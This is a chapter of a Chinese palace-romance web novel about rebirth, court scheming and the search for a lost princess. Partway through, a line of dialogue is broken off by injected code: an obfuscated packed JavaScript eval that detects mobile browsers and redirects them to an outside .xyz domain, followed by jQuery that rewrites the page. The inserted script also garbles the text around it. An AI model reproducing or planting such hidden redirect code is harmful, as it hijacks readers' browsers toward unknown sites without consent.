等到处理完萧婉的事,东部的天空隐隐泛白,沈绒回到房间后便一直心事重重,姜临煜捏捏她的肩,手臂环绕住她的腰肢,“怎么了?一直不高兴。”
“我…”
沈绒抿着唇,这一世的自己如愿和姜临煜成了婚,那前世的姜临煜此刻呢?会不会也和祝景一般,走火入魔,想方设法的寻求一个救活自己的方法。
“无事。”沈绒摇摇头,还是没舍得将忧心之事说出口,她如今已经回不去了,再去担心这些,又有何用呢?
“祝景的事?”姜临煜无奈的低头一笑,“其实昨夜的祝景还挺让我陌生的,要知道从前在战场上,每当有重伤难治的伤员时,总会有别的将士替他祈求菩萨保佑。你猜猜看,祝景是怎么说的?”
沈绒想了想,寻常人遇到这种束手无策的情况时,定然也都是同那些士兵一般,祈求上苍保佑。
按照昨夜的情况来看,祝景应当也是这样的人才对?
姜临煜继续道:“他说,这天下哪有什么救苦救难的菩萨,他救不活的人,再神通广大的菩萨也没用。”
闻言,沈绒轻笑一声,将身子整个倚在姜临煜的怀里,“这样看来,他似乎是根本不相信那些所谓的鬼神之说?那他昨夜…”
“是啊,所以我说昨夜的他让我感到陌生。若没有你的重生,我当真会觉得他是哪里受了刺激,才会相信萧婉所说的话。”姜临煜手指轻轻擦过她的眼皮,“困不困?忙了一整夜,先好好睡一觉。”
沈绒点点头,拉开被子躺进去。
姜临煜起身,帮她将被褥掖好。
“你不休息吗?”沈绒拽住他的袖子。
姜临煜心一颗心软成一片,俯身轻啄她柔软的唇瓣,“送玉佩的事我亲自去做,顺便,去一趟何府。”
————
沈樱今日起的早,园子里的花瓣上还挂着露水,她一早拿着净瓶在园子里收集露水。
禾冉跟着她,甚是不明白她这么做的原因是什么,“王妃,奴婢不明白,王爷对您还是那样不冷不热,您为何还要这般费尽心思呢?”
禾冉说的向来没有静潭说的好听,沈樱边动作边道:“他领不领情是他的事,我是他的王妃,这本就是我该做的事。”
沈樱站起身,看着已经收集了半瓶子,日头也逐渐升起来了,“走吧,咱们去厨房,清晨的露水煮茶最为上佳。”
庆王府不大,从花园到厨房的路需要路过姜准的书房。以往大多数时候,姜准一人在里头看书,里面都是安静的。今日奇了怪了,竟传来了一阵阵的哭声。
沈樱不自觉地放慢了脚步,将手中的净瓶交给禾冉,“你去厨房,嘱咐他们定要手脚轻些,我去看看殿下这是怎么了。”
姜准此刻蓬头垢面的坐在地上,手中紧攥着不知谁人放在桌案上的玉佩,这是他当初离开时亲手放在婉儿的桌上的。
前不久婉儿在大凉边境不远处被人劫持,今日玉佩就像是有人示威一般出现在了这里。
沈樱轻敲书房的门,“殿下…”
姜准没有理会,眼睫低垂,盯着手中的玉佩。
那时他一人远在异国他乡,所有人都恨不得自己死,只有婉儿一人想要让自己活。那段日子,若不是有她,自己定然不会活着回到淮安。
他后来所有的算计图谋,无论是前世还是今生,都只有一个目的,便是光明正大的迎娶婉儿,哪怕倾尽所有,他也在所不惜。
见无人回应,沈樱干脆狠下心,稍稍用力推开了房门,左右不过是一阵横眉冷对罢了。
可没想到,她推开门时,房内的抽泣声也紧跟着变得清晰,并没有想象中姜准的责怪。
姜准坐在地上,手中攥着什么东西,看起来脆弱不堪。
“殿下…”沈樱蹲下身子,试图看清他手中的东西,“您这是怎么了?”
“王妃怎么过来了?”姜准的声音透着嘶哑。
“妾一早去为殿下收集露水煮茶,碰巧路过殿下的书房,听到里面有动静就进来了。”沈樱看清了,那是一块玉佩,以往她从未在姜准身侧看到过的玉佩,“殿下怎么了?”
“无事。”姜准揉了揉发麻的脚踝,“过些日子就是父皇的万寿节了,你准备准备,这是打你我二人成婚始,你第一次入宫参加宴会。”
沈樱听的一愣,身体先于大脑做出反应,唇角上扬,“是,妾明白了。”
看着沈樱远去的背影,姜准暗暗攥紧了玉佩,婉儿死了,他已无所牵挂。也只有这一刻他才清醒过来,自己与这个妻子的关系究竟是相敬如宾还是互不待见根本不重要了。
重要的是沈樱并不是只知道争风吃醋的妇人,她的手段和头脑,会使他未来争权夺势的路上如虎添翼。
虽然这种助力不及前世的沈绒,可总好过没有母族独自一人抗衡的他。
—————
姜临煜这段日子和何晨私下会面的日子越来越多了,昨日他深更半夜的回来,从姜临煜口中听说了一些事。
大抵就是,姜树和有心在万寿节之时弄出些动静来,以此来名正言顺的处理掉姜临煜。
只可惜,上一世的此刻,自己还闷在沈府不肯出去,外头发生了什么她都不知道。
不过,依姜树和的性格来看,无非就是设计杀一个异国的使臣,借机将黑锅扣在姜临煜身上。
姜临煜深夜未归,沈绒放心不下,也睡不着,忽然听到一阵笛声,索性起身朝着笛声的方向而去。
月光之下,吹笛人身影纤长,墨色的发丝散在身后,捏住笛子的手指骨节分明。
沈绒远远听了一会儿,等到笛声停止了才向前,“这首曲子叫《静思》吗?”
祝景闻声回头,行礼道:“王妃说的不错,您对大周的曲子也很感兴趣吗?”
沈绒笑而不语,答非所问道:“天冷,祝大夫穿的如此单薄便出来,当心着凉了。”
祝景低头浅笑道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329410|173706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多谢王妃担心,属下对自己的身体,还是很了解的。”
“是我唐突了,一时竟忘了,祝大夫可是随北鹰军南征北战多年的医师。”
“王妃还未告诉属下。”祝景又将话题绕回来,“您对大周的曲子很感兴趣吗?这首曲子,似乎是大周乐曲中最默默无闻的一首。”
眼看着躲不过去,沈绒坦言道:“我的先生穆哲舟,才华横溢,于乐曲方面的造诣更是极高。对于乐曲,我谈不上什么是否有兴趣,只是有一次,先生弹琴时我便在一旁听着,觉得调子很不错,便记住了。”
沈绒面不改色的撒谎,其实她第一次听到这首曲子,是在前世深宫寂寞时,宫墙外有人在吹奏,笛声一模一样。
现在想来,或许就是祝景担忧萧婉思念故土,特意在姜准的寿宴之时,从西洲赶回来为她吹奏一曲。
只是那一夜,姜准一整夜都在萧婉的宫中,听到如此仙乐的只有自己。
《静思》一曲是指思念之苦,那时的自己又何尝不是在思念那不知身在何方的意中人呢。
“夜色沉了。”祝景收起笛子,“属下明日奉殿下的命令,还要再次出城寻找安宁郡主的下落,王妃,属下先行告退了。”
沈绒目送他远去,如今形势越发严峻,楚云、文焰和文纵不能离开姜临煜,寻找安宁郡主的任务也只能落在不善作战的祝景身上。
困意渐渐袭来,沈绒提着裙子准备回房,脑海中却忽然想起了一张脸。
“宁儿…”她唇瓣微张,皱起的眉头紧接着又松开,“姜宁,安宁郡主…”
难道!
—————
整日的车马劳顿,累的穆洄腰酸背痛,他觉得自己大概是被那小丫头迷了心窍,竟然放着难得的休沐日不休息陪她大老远跑到临城来。
“你确定?在这里能找到你的身世之谜?”
宁儿这几日反复睡不好,迫切的想要将手中镯子的秘密解开,于是她只能寻着自己失忆时唯一记住的线索,也就是临城来一探究竟。
“我也不知道。”宁儿垂眸看着手腕上与腕骨尺寸不一的镯子,“不过我总觉得,若是再不想办法解开这镯子的秘密,便会有可怕的事发生。”
“可这临城这么大,我们能怎么找?总不能逢人就问问他认不认识你是谁吧?”
宁儿白了他一眼,“你的状元到底是如何考的?真笨!”
穆洄不乐意了,抬手要敲她的额头,却被她轻松的躲了过去,“你聪明,那你倒是说说看,我们去哪里能找到你关于你身世的线索?”
“现在嘛,还太晚了。”宁儿揉了揉快要睁不开的眼睛,“我们先休息一下,我自有办法。”
而此时的定北王府,一处房间仍然灯火通明。
姜临煜忙碌了一整日,回来本想埋在温柔乡中好好睡上一觉,没想到却听到了如此让人兴奋的事。
“你是说,很有可能那日被你和沈澪救的姑娘,就是宁儿?”